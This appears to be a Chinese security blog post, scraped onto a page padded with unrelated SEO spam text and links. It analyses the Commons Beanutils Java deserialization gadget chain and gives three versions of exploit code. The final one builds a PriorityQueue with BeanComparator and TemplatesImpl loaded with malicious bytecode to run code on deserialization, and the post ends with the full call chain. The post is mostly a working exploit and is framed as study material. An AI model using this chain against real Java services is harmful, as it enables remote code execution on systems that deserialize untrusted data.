当前位置: 首页 > wzjs >正文

市场监督管理局投诉举报管理办法淘宝seo培训

市场监督管理局投诉举报管理办法,淘宝seo培训,企业建站系统营销吧tt团队,揭阳住房和城乡建设厅网站说明 如果您之前未了解过 Commons Collections(CC)利用链,建议您先阅读相关基础文章,然后再回头阅读此文章。这样可以更好地理解其中的内容 Java反序列化-Commons Collections3利用链分析详解 Java反序列化-Commons Collections…

说明

      如果您之前未了解过 Commons Collections(CC)利用链,建议您先阅读相关基础文章,然后再回头阅读此文章。这样可以更好地理解其中的内容

Java反序列化-Commons Collections3利用链分析详解

Java反序列化-Commons Collections4利用链详解

什么是Java Bean?

      Java Bean 本质上是一种 Java 规范:必须包含一个无参构造方法;类的属性需私有化,并通过相应的 get、set 方法访问,且方法命名需遵循 getXxx() 格式

public class User{private String name;private boolean active;// 无参构造器public User() {}public String getName() {return name;}public void setName(String name) {this.name = name;}public boolean isActive() {return active;}public void setActive(boolean active) {this.active = active;}
}

      而我们要分析的 Commons Beanutils 作为 Java Bean 的增强版本,提供了更多工具类,从而使 Java Bean 相关操作的调用更加便捷

public static void main(String[] args) {User user = new User();//设置属性值PropertyUtils.setProperty(user, "name", "Bob"); PropertyUtils.setProperty(user, "age", "30");//获取属性值String name = PropertyUtils.getProperty(user, "name");String ageStr = PropertyUtils.getProperty(user, "age");
}

测试环境

  • JDK 8u65
<dependency><groupId>commons-beanutils</groupId><artifactId>commons-beanutils</artifactId><version>1.8.3</version>
</dependency>
<dependency><groupId>commons-logging</groupId><artifactId>commons-logging</artifactId><version>1.2</version>
</dependency>

无依赖利用链

      CB 链与 CC4 链的构造思路类似,均通过反序列化触发比较器操作。但 CB 链的核心在于使用 commons-beanutils 的 BeanComparator 替代 CC4 中的 TransformedComparator。当反序列化后的 BeanComparator 执行 compare() 方法时,会通过 PropertyUtils.getProperty() 反射调用目标对象的特定 getter 方法(如 TemplatesImpl.outputProperties),从而触发恶意代码执行

PropertyUtils.getProperty

      我们先来分析一下 PropertyUtils.getProperty 传入数据都做了些什么

      跟进 PropertyUtils.getProperty 方法,发现它调用了 PropertyUtilsBean 类中的 getProperty 方法,继续深入跟进

      继续跟进 getNestedProperty 方法

    public Object getNestedProperty(Object bean, String name)throws IllegalAccessException, InvocationTargetException,NoSuchMethodException {if (bean == null) {throw new IllegalArgumentException("No bean specified");}if (name == null) {throw new IllegalArgumentException("No name specified for bean class '" +bean.getClass() + "'");}// Resolve nested referenceswhile (resolver.hasNested(name)) {String next = resolver.next(name);Object nestedBean = null;if (bean instanceof Map) {nestedBean = getPropertyOfMapBean((Map) bean, next);} else if (resolver.isMapped(next)) {nestedBean = getMappedProperty(bean, next);} else if (resolver.isIndexed(next)) {nestedBean = getIndexedProperty(bean, next);} else {nestedBean = getSimpleProperty(bean, next);}if (nestedBean == null) {throw new NestedNullException("Null property value for '" + name +"' on bean class '" + bean.getClass() + "'");}bean = nestedBean;name = resolver.remove(name);}if (bean instanceof Map) {bean = getPropertyOfMapBean((Map) bean, name);} else if (resolver.isMapped(name)) {bean = getMappedProperty(bean, name);} else if (resolver.isIndexed(name)) {bean = getIndexedProperty(bean, name);} else {bean = getSimpleProperty(bean, name);}return bean;}

      这里对传入的 bean 类型进行判断,如果不符合前三个 if 判断的类型,就会进入 getSimpleProperty 方法。正常情况下,我们不会传入 Map 类型的数据,因此在大多数情况下,依然会执行 getSimpleProperty 方法。继续跟进 getSimpleProperty 方法

      最终,传入的 bean 会通过反射机制被调用执行。到这里,getProperty 方法的执行流程分析完了

      反射调用 getter 本身不会直接导致代码执行,因此需要找到一个既符合 JavaBean 规范又包含危险操作的方法

      结合之前分析的 CC4 利用链,我们可以使用 TemplatesImpl 类。TemplatesImpl 的 getOutputProperties 方法符合 JavaBean 规范,并且其内部会调用 newTransformer 方法,该方法会加载恶意字节码,从而触发代码执行

      (CC3 中的类加载执行恶意代码,这里就不再分析了,如果不太理解可以先看看前面的 CC3/CC4 分析)

构造EXP

package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.BeanUtils;
import org.apache.commons.beanutils.PropertyUtils;import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;public class test {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();byte[][] code = {Files.readAllBytes(Paths.get("F:\\Java开发目录\\cbtest\\target\\classes\\org\\example\\Calc.class"))};setFieldValue(templates, "_bytecodes", code);setFieldValue(templates, "_name", "nb666");setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());PropertyUtils.getProperty(templates,"outputProperties");}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}
}

BeanComparator.compare

      刚才已经证实这条链是可行的,那么接下来回到 PropertyUtils.getProperty,查找有哪些地方调用了 getProperty。前面已经提到过相关内容,所以这里直接跟进 BeanComparator 类

      在 compare 方法中调用了 PropertyUtils.getProperty,并传入了 o1 和 property。因此,我们可以将 o1 设为 TemplatesImpl 类,并将 getOutputProperties 传给 property,使其调用该方法,从而触发代码执行

      接下来查找 compare 方法的调用位置。事实上,这里不需要继续查找,因为在 CC4 链中,反序列化是通过 PriorityQueue(优先队列)触发的,而 PriorityQueue 在操作过程中会调用 compare,从而形成这条利用链。不清楚的可以参考下之前的 CC4 分析

构造完整EXP (坑)

package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.BeanUtils;
import org.apache.commons.beanutils.PropertyUtils;import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;public class test {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();byte[][] code = {Files.readAllBytes(Paths.get("F:\\Java开发目录\\cbtest\\target\\classes\\org\\example\\Calc.class"))};setFieldValue(templates, "_bytecodes", code);setFieldValue(templates, "_name", "nb666");setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());BeanComparator beanComparator = new BeanComparator();PriorityQueue<Object> queue = new PriorityQueue<Object>(beanComparator);queue.add("1");queue.add("2");// add之后再反射改回来避免提前触发setFieldValue(beanComparator,"property","outputProperties");setFieldValue(queue,"queue",new Object[]{templates, templates});serialize(queue);unserialize("ser.bin");}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String filename) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));return ois.readObject();}
}

解决没有CC依赖报错问题

      这里报错提示没有 commons.collections 这个依赖,但我们实际上并没有用到它 

      再仔细一看,发现报错出现在第 26 行,直接跟进 BeanComparator,查看它的无参构造方法执行了什么操作

      在调用无参构造时,property 默认被赋值为空,随后执行到第 81 行,调用了 CC 里的一个方法。由于这里没有导入 CC 依赖,因此导致报错

      接着往下翻,发现这里有一个带参数的构造方法,可以传入一个 Comparator

      跟进 Comparator 进行查看,发现它是一个接口,如果想让代码成功反序列化,我们就需要找到一个同时实现了 Comparator 和 Serializable 的类

      这里懒得自己找了,直接问 DeepSeek 就行了 (DeepSeek YYDS)

构造终极EXP

      直接将 String.CASE_INSENSITIVE_ORDER 传入 BeanComparator 即可

package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.BeanUtils;
import org.apache.commons.beanutils.PropertyUtils;import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;public class test {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();byte[][] code = {Files.readAllBytes(Paths.get("F:\\Java开发目录\\cbtest\\target\\classes\\org\\example\\Calc.class"))};setFieldValue(templates, "_bytecodes", code);setFieldValue(templates, "_name", "nb666");setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());BeanComparator beanComparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);PriorityQueue<Object> queue = new PriorityQueue<Object>(beanComparator);queue.add("1");queue.add("2");// add之后再反射改回来避免提前触发setFieldValue(beanComparator,"property","outputProperties");setFieldValue(queue,"queue",new Object[]{templates, templates});serialize(queue);unserialize("ser.bin");}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String filename) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));return ois.readObject();}
}

      成功弹窗,六百六十六

总结

PriorityQueue.readObject() -> heapify()heapify() -> siftDownUsingComparator()siftDownUsingComparator() -> compare()compare() -> BeanComparator.compare()BeanComparator.compare() -> PropertyUtils.getProperty()PropertyUtils.getProperty() -> TemplatesImpl.getOutputProperties()TemplatesImpl.getOutputProperties() -> TemplatesImpl.newTransformer()TemplatesImpl.newTransformer() -> TemplatesImpl.getTransletInstance()TemplatesImpl.getTransletInstance() -> defineTransletClasses()

http://www.dtcms.com/wzjs/379817.html

相关文章:

  • 西部网站邮箱登录百度平台商家app下载
  • 网站导航html源码广州今日新闻头条新闻
  • 网页设计与网站建设课程总结免费的行情网站
  • 国外flash网站模板商务网站建设
  • discuz可以做公司网站济南谷歌推广
  • 建设网站价格今天的最新新闻内容
  • 青岛建网站的公司微信小程序开发费用
  • 新疆前昆工程建设集团网站6百度云手机app下载
  • 微信网站制作免费定制网站建设推广服务
  • 做网站菏泽云浮新增确诊病例30例
  • 可以注册的网站海南百度推广公司有哪些
  • 网站建设制作多少钱seo优化思路
  • 做赛事下注网站违法吗seo包年优化平台
  • 网站策划主题阿里指数怎么没有了
  • 天猫网站设计分析平台引流推广怎么做
  • 电子商务网站建设书软文推广产品
  • 制作微信网站模板下载不了苏州seo关键词优化方法
  • 免费建网站可以找哪家英文网站seo互联网营销培训
  • 为什么要建设公司网站百度网盟广告
  • 厦门物流网站建设百度电商广告代运营
  • 绍兴高端网站设计百度电脑版网页版入口
  • it程序员需要什么学历seo技术顾问阿亮
  • 适合机械网站的wordpress主题模板百度关键词排名点
  • 哪些网站是专做女性护肤品沧州网站建设推广
  • 有人用axure做网站农村电商平台
  • 视频解析网站怎么做女生seo专员很难吗为什么
  • 网站维护wwwseo免费推广
  • 企业网站的建立网络虚拟社区时对于企业seo搜索引擎优化营销案例
  • 做金融量化的网站如何制作自己的网址
  • 乐山企业品牌网站建设google seo 优化教程